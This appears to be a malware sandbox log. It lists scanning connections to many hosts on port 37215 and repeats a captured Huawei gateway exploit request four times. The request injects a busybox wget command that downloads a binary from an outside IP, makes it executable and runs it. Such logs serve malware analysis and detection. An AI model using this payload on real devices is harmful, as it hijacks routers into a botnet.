Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.240.140.80:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.151.214.73:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.247.96.49:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.92.81.42:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.181.144.168:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.38.120.102:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.143.110.169:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.57.23.156:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 116.247.219.160:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 122.57.80.203:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.135.147.81:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.9.252.0:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.38.28.175:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.241.97.236:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.201.79.19:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.250.215.98:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.125.115.250:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.90.185.195:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.64.163.172:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.240.232.14:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 175.107.192.250:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 85.20.236.54:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 126.65.129.111:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 106.157.138.118:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.124.168.191:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 111.222.91.15:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.182.65.109:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.202.148.115:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.212.129.133:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.240.129.237:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.54.188.169:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 108.82.199.65:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.170.152.165:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.204.183.32:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.150.81.189:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.14.137.236:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.34.52.47:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.10.240.222:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.57.154.160:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.46.175.17:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.136.152.2:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 132.160.4.14:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.142.111.82:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.6.90.250:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.24.59.227:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 43.17.154.54:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.5.223.128:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.220.254.70:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.179.209.66:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.153.35.202:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.101.44.68:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.28.222.161:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.40.121.224:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.253.48.109:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.76.138.93:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.127.202.195:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 59.222.24.188:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.103.77.246:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.50.188.89:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.228.114.50:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.121.216.180:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 152.76.142.56:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 151.6.250.133:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 160.228.64.159:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 47.152.109.218:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 162.181.69.118:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.222.73.136:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 58.224.114.96:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.138.171.154:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.167.105.176:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.162.29.157:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.195.227.59:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.238.240.21:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.147.225.28:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 19.200.164.147:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 77.22.152.11:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 4.31.71.27:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.63.211.157:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 119.122.241.151:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.88.85.217:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.148.131.200:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.70.214.235:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.21.113.231:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.240.151.173:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.9.114.249:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.8.48.89:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.122.129.242:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 175.43.111.224:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.179.158.44:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.70.201.179:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.199.18.26:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.241.27.84:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.110.128.138:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.108.105.97:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.149.8.186:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.88.179.215:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.150.238.241:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.58.172.68:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.90.233.52:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.229.71.250:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.102.57.216:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 189.87.87.232:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.85.71.158:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.151.213.90:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 171.66.45.205:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.15.80.175:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.167.216.38:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.172.226.102:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.205.239.7:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 191.67.40.113:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 100.173.36.190:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.135.247.89:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.13.51.124:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.36.15.27:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.170.163.143:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.179.129.144:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.98.231.180:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.175.227.132:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.23.228.132:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.204.226.82:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.161.81.210:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.168.151.105:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.140.212.149:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.48.104.158:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.102.156.194:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.178.168.190:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 65.182.26.127:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.114.181.210:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.161.86.104:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.205.152.43:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.152.241.41:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.195.113.55:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.72.252.217:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.37.209.43:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 152.88.129.71:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.195.191.184:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.4.72.13:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 84.63.4.59:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.117.192.192:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.136.99.216:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.10.1.165:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 198.119.81.107:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.81.140.92:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 202.67.234.15:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 27.117.78.192:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.173.155.56:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 141.175.98.36:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.169.77.163:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.235.151.18:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.132.249.94:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.57.244.177:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.124.214.92:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.246.186.51:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.57.133.59:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 119.247.57.158:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.136.253.132:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.62.216.184:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.201.54.125:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.9.29.161:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.70.151.41:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.19.94.181:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.61.226.216:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.237.96.229:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.20.55.235:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.156.79.47:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.30.254.77:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.239.63.43:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.196.86.220:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.174.203.82:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 73.42.239.188:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.208.127.204:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.144.207.189:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.204.59.3:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.175.199.42:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.77.161.137:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 114.69.13.228:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.4.252.230:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.187.145.29:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.139.211.54:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.175.75.131:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.244.194.243:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.69.211.120:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 208.198.171.104:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.201.194.18:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.149.102.25:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.73.15.1:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.168.191.127:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.28.203.40:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.3.246.45:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.190.146.242:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 84.179.2.155:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.116.186.194:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.173.92.110:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.188.108.238:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 115.54.5.20:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.121.173.110:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 90.198.128.38:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.142.26.98:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 202.246.13.73:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.149.69.126:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.72.75.23:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.70.0.179:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.106.15.180:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 126.94.108.46:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 41.87.79.142:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 197.83.202.141:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 157.135.167.56:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 144.165.137.187:37215
Source: global traffic TCP traffic: 192.168.2.23:44424 -> 119.3.250.207:37215
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
